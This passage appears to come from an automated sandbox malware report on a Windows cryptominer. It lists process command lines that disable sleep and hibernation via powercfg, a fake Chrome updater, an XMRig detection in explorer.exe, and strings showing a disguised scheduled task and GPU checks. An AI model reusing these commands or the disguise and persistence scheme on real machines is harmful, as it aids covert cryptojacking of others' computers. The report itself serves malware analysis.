Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:46:02
Start date:	17/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000017.00000002.4158658044.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	06:46:03
Start date:	17/12/2024
Path:	C:\Program Files\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\updater.exe"
Imagebase:	0x7ff602810000
File size:	5'737'472 bytes
MD5 hash:	EB0588E6420A0A2FB8B262554091ADD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:46:03
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff653450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:46:03
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:46:03
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:46:03
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:46:03
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:46:04
Start date:	17/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff77c010000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF632AE12FD Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1693992544.00007FF632AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF632AE0000, based on PE: true

Associated: 00000000.00000002.1693970971.00007FF632AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694015215.00007FF632AE6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694413355.00007FF633055000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694429558.00007FF633057000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694446092.00007FF63305B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694446092.00007FF63305D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694484700.00007FF633060000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694502516.00007FF633061000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff632ae0000_c2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beee64b2d3da2f3eb274e92f3c95c986217bc7b129019d4d5950de2641e42d74
Instruction ID: 8417d1f87a51c18aafca4b876cc635c908d455b7236c5c231fa2bd0711d8218f
Opcode Fuzzy Hash: beee64b2d3da2f3eb274e92f3c95c986217bc7b129019d4d5950de2641e42d74
Instruction Fuzzy Hash: 56B01230B18305C5F3002F25D88225C3220AB04B01F811034C80C93352CFBC54425710

Analysis Process: updater.exePID: 7684, Parent PID: 1044COMMON

Executed Functions

Function 00007FF6028112FD Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1700966607.00007FF602811000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF602810000, based on PE: true

Associated: 0000000D.00000002.1700946103.00007FF602810000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000D.00000002.1700987964.00007FF602816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000D.00000002.1701453875.00007FF602D87000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000D.00000002.1701481914.00007FF602D8B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000D.00000002.1701503788.00007FF602D90000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000D.00000002.1701561350.00007FF602D91000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff602810000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beee64b2d3da2f3eb274e92f3c95c986217bc7b129019d4d5950de2641e42d74
Instruction ID: 6a7c32b4ee99d95e1c8dc8cb70a9b853a9799724de73b284ed21fa762e9c398f
Opcode Fuzzy Hash: beee64b2d3da2f3eb274e92f3c95c986217bc7b129019d4d5950de2641e42d74
Instruction Fuzzy Hash: 3BB09264A2420584E3002B1198412682A206F14B04FA02120C50C82396CEEC94814720

Analysis Process: conhost.exePID: 7808, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	25%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.1%
Total number of Nodes:	157
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF778011131 Relevance: 13.6, APIs: 9, Instructions: 120
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF778011313), ref: 00007FF77801116E
_amsg_exit.MSVCRT(?,?,?,00007FF778011313), ref: 00007FF77801118D
_initterm.MSVCRT ref: 00007FF7780111AE
_initterm.MSVCRT ref: 00007FF7780111D3
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF778011212
malloc.MSVCRT ref: 00007FF778011244
strlen.MSVCRT ref: 00007FF77801125C
malloc.MSVCRT ref: 00007FF778011268
_cexit.MSVCRT(?,?,?,00007FF778011313), ref: 00007FF7780112E3

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: f29cc23ca943b4e8fae484110a2de79a05b13f64e9a64d463718a084873ee1c9
Instruction ID: 0b21ca9dcdc46bc7328dac7f2eeae190e5fbc8499ec872ccccf232e6282e1e6c
Opcode Fuzzy Hash: f29cc23ca943b4e8fae484110a2de79a05b13f64e9a64d463718a084873ee1c9
Instruction Fuzzy Hash: D7514C23E3860289FB55BB12E84427DEBA1AF48BA4FA55831D90D473D5FE2CF400C328

Function 00007FF778013F50 Relevance: 30.8, APIs: 1, Strings: 19, Instructions: 797COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF77801223C: wcslen.MSVCRT ref: 00007FF77801224C
Part of subcall function 00007FF77801223C: _wcsnicmp.MSVCRT ref: 00007FF778012263

_wcsicmp.MSVCRT ref: 00007FF77801499F

Strings

PROGRAMFILES=, xrefs: 00007FF77801461C
/, xrefs: 00007FF77801451A
\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00007FF778014302, 00007FF77801433F, 00007FF778014374
0, xrefs: 00007FF77801404C
SYSTEMROOT=, xrefs: 00007FF7780141C1
\reg.exe, xrefs: 00007FF7780146D8, 00007FF77801470A
PROGRAMFILES=, xrefs: 00007FF7780144A7
[, xrefs: 00007FF77801466A
xmr, xrefs: 00007FF778014842, 00007FF778014991
\System32, xrefs: 00007FF77801411E, 00007FF77801420B
eth, xrefs: 00007FF77801492D, 00007FF778014964, 00007FF778014998
\cmd.exe, xrefs: 00007FF778014295, 00007FF7780142CA
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\GoogleUpdateTaskMachineQC, xrefs: 00007FF778014A04, 00007FF778014A3D, 00007FF778014A6D
\Google\Chrome\updater.exe, xrefs: 00007FF7780143B4, 00007FF7780143F1, 00007FF7780144F1
\BaseNamedObjects\myfqvfexgknmtduy, xrefs: 00007FF778014889, 00007FF7780148C4, 00007FF7780149B1
\schtasks.exe, xrefs: 00007FF7780147BD, 00007FF7780147EA
\BaseNamedObjects\tuctlojtwqxvvguwxpuyczur, xrefs: 00007FF778014AA7, 00007FF778014AD3, 00007FF778014B00
\Google\Libs\, xrefs: 00007FF77801458B
\BaseNamedObjects\wbzsypnzkfn, xrefs: 00007FF778013F70, 00007FF778013FD1

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: _wcsicmp_wcsnicmpwcslen
String ID: /$0$PROGRAMFILES=$PROGRAMFILES=$SYSTEMROOT=$[$\BaseNamedObjects\myfqvfexgknmtduy$\BaseNamedObjects\tuctlojtwqxvvguwxpuyczur$\BaseNamedObjects\wbzsypnzkfn$\Google\Chrome\updater.exe$\Google\Libs\$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\GoogleUpdateTaskMachineQC$\System32$\WindowsPowerShell\v1.0\powershell.exe$\cmd.exe$\reg.exe$\schtasks.exe$eth$xmr
API String ID: 3926934318-1602290141
Opcode ID: 0e6810b932d409e2e9b7040240a4c6d49041b727a79761a6471f3bdabbce411c
Instruction ID: ff384830e25590f4166e67e16a9e1b11754b1cdcc782d0a6867fddb611ab8905
Opcode Fuzzy Hash: 0e6810b932d409e2e9b7040240a4c6d49041b727a79761a6471f3bdabbce411c
Instruction Fuzzy Hash: 91A29D23D3C68294EB21AB15E4453BDEBA1AB94364FE04835C64C076E6FF7DB159C328

Non-executed Functions

Function 00007FF77801B1B8 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 139e2274ff43c33dfa5c470873814a5401d4d66c52b76f361c0aac30dcef008a
Instruction ID: c0bde9ff439e72f13e9bccaa0a5feaef270fed47c0ad24d77e3f62addb1ec24c
Opcode Fuzzy Hash: 139e2274ff43c33dfa5c470873814a5401d4d66c52b76f361c0aac30dcef008a
Instruction Fuzzy Hash: 6E51AE47D3D6D149E29279248C7A16CEFD19FA2A317DD447ACA48036D3BA0E3C1AD329

Function 00007FF778012F50 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cbac0678f4c31276c6e8cfc7a4c0148d61c35e94421a13ea9f3eece4001b650
Instruction ID: 415b9f882188d5ad3faaf230976aa8251a7bbd091ec0b7c3b1e2c449e4c4375c
Opcode Fuzzy Hash: 1cbac0678f4c31276c6e8cfc7a4c0148d61c35e94421a13ea9f3eece4001b650
Instruction Fuzzy Hash: DAE0B6B6A18B84C18614EB52F48005EBB64F7E97C0F50491AFECC53B19CF3CC1A08B40

Function 00007FF7780113B8 Relevance: 23.0, APIs: 4, Strings: 9, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcsnicmp.MSVCRT ref: 00007FF77801174E
_wcsnicmp.MSVCRT ref: 00007FF7780117E6
_wcsnicmp.MSVCRT ref: 00007FF77801186F
wcsstr.MSVCRT ref: 00007FF77801190D

Strings

ProviderName, xrefs: 00007FF7780114F7
AMD, xrefs: 00007FF778011573, 00007FF7780117AB
ATI, xrefs: 00007FF778011830, 00007FF778011868
Q, xrefs: 00007FF778011480
NVIDIA, xrefs: 00007FF77801154E, 00007FF778011713
Advanced Micro Devices, xrefs: 00007FF778011899, 00007FF7780118DB
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\, xrefs: 00007FF7780113DE, 00007FF778011429
@, xrefs: 00007FF7780115A5
0, xrefs: 00007FF7780115F8

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: _wcsnicmp$wcsstr
String ID: 0$@$AMD$ATI$Advanced Micro Devices$NVIDIA$ProviderName$Q$\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\
API String ID: 950242380-3899023574
Opcode ID: 33f0ca916bca0730c1236287edf8c647ae235d183d39f81f72f65ba9d608b99c
Instruction ID: 3a43ba8ad82f1cbacdd438a78054539335e3505d2d0af8bc0fa8a1b72321ccb2
Opcode Fuzzy Hash: 33f0ca916bca0730c1236287edf8c647ae235d183d39f81f72f65ba9d608b99c
Instruction Fuzzy Hash: 85E15F23E3C68294E721AB11E8013AEEBA0EB44764FA05835DA4C47AD5FF7CF155C728

Function 00007FF7780133A4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00007FF77801344D
VirtualProtect.KERNEL32 ref: 00007FF7780134B5
GetLastError.KERNEL32 ref: 00007FF7780134BF

Strings

Address %p has no image-section, xrefs: 00007FF778013405
Mingw-w64 runtime failure:, xrefs: 00007FF77801336B
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF778013462
VirtualProtect failed with code 0x%x, xrefs: 00007FF7780134C5
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7780133A9

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuery
String ID: Unknown pseudo relocation protocol version %d.$ VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 637304234-2693646698
Opcode ID: 0294247a2917bbc01cfb82afdaa3ca90372f1be4a342fe6e92584acca44915b7
Instruction ID: 36887513a66ab48f8f867f9bf5791d6aee00ec0440987c9b716bb0d5a30bee2e
Opcode Fuzzy Hash: 0294247a2917bbc01cfb82afdaa3ca90372f1be4a342fe6e92584acca44915b7
Instruction Fuzzy Hash: B831A223F36A0246EA00AB51E88116DEB61EB84BA0BA58935DD0D473D4EE3CF485C358

Function 00007FF778011B49 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF778011CD1
wcslen.MSVCRT ref: 00007FF778011EFF

Strings

X, xrefs: 00007FF778012060
0, xrefs: 00007FF778011D2E
`, xrefs: 00007FF77801206C

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: wcslenwcsncmp
String ID: 0$X$`
API String ID: 3763518489-2527496196
Opcode ID: 23562979911c12ef5fce7cf321bc9e9db032968407d02d08a5e491cc9e3985b6
Instruction ID: e69d9e43d7ac096deb9c1e7673eae7fde74149a4290f292685476e42e8f0a451
Opcode Fuzzy Hash: 23562979911c12ef5fce7cf321bc9e9db032968407d02d08a5e491cc9e3985b6
Instruction Fuzzy Hash: 25F18F23A29BC181E7709B15E4403AEFBA0FB847A4F505625DAAC47BD9EF7CE184C714

Function 00007FF7780134EB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,00007FF77801A978,00000000,?,?,?,00007FF77801A970,00007FF778011208,?,?,?,00007FF778011313), ref: 00007FF778013742

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF77801366B
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF7780136DD
Unknown pseudo relocation protocol version %d., xrefs: 00007FF7780135E2

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: 86afa0e69415522cada0cf88169ad2230cdc9171c62470af168b2c642a5a2027
Instruction ID: a24ffe2a9ff16958761c2defea9fab6ff0499a690e8b5f9a7c37a1f2e1d07300
Opcode Fuzzy Hash: 86afa0e69415522cada0cf88169ad2230cdc9171c62470af168b2c642a5a2027
Instruction Fuzzy Hash: CC619D63F3954285EB10AB15D5402BCFBA0AB40BB8FA68935D91C477D9EE3CF584C728

Function 00007FF7780137A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

signal.MSVCRT ref: 00007FF778013866
signal.MSVCRT ref: 00007FF77801387B

Strings

CCG , xrefs: 00007FF7780137C6

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: b79a72abf1adc2578b04b422d0f49005f5e528498582de0c6da89fdd9eb9cf03
Instruction ID: 49f088da51023d15a6ded47fb78a40adb97cf0d4eb24b7e3920b85d62e890d12
Opcode Fuzzy Hash: b79a72abf1adc2578b04b422d0f49005f5e528498582de0c6da89fdd9eb9cf03
Instruction Fuzzy Hash: BF211763E3D34285FA647795D44137DE982AF45374FBA8D36DA0D822D1EE1CB881C329

Function 00007FF778013250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
Unknown error, xrefs: 00007FF778013267

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: b8492679bac553f1d76b344d5bad17c63bf03d378e5e6c6ad2dd1f1ba9718450
Instruction ID: 08a94a5484a344ba6ec349b5b77e5ed114c1e9cea60bff698d5bb196d8632be7
Opcode Fuzzy Hash: b8492679bac553f1d76b344d5bad17c63bf03d378e5e6c6ad2dd1f1ba9718450
Instruction Fuzzy Hash: 57119122D18E8482D2119F1CE0013AEF370FF9A359F605722EBC8166A4EF3DE552CB04

Function 00007FF778013287 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
Argument domain error (DOMAIN), xrefs: 00007FF778013287

Memory Dump Source

Source File: 00000013.00000002.4159499241.00007FF778011000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF778010000, based on PE: true

Associated: 00000013.00000002.4159466357.00007FF778010000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159537963.00007FF778015000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159572063.00007FF778017000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159604920.00007FF77801A000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000013.00000002.4159637114.00007FF77801E000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff778010000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: c25b6fb5ebb498f5d8266f824818b51ef2c0b3c32df58b379e07e913b0188dbc
Instruction ID: bc4b8e38a6f64657e6a781e15871a4fa7999df8af0739cce9540f8cb777b5752
Opcode Fuzzy Hash: c25b6fb5ebb498f5d8266f824818b51ef2c0b3c32df58b379e07e913b0188dbc
Instruction Fuzzy Hash: 51F06227828F8482D2119F18E4002AFF770FF9E799F605726EBC9265A4EF2DE502C704

Function 00007FF778013290 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77801330A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7780132FD
Overflow range error (OVERFLOW), xrefs: 00007FF778013290

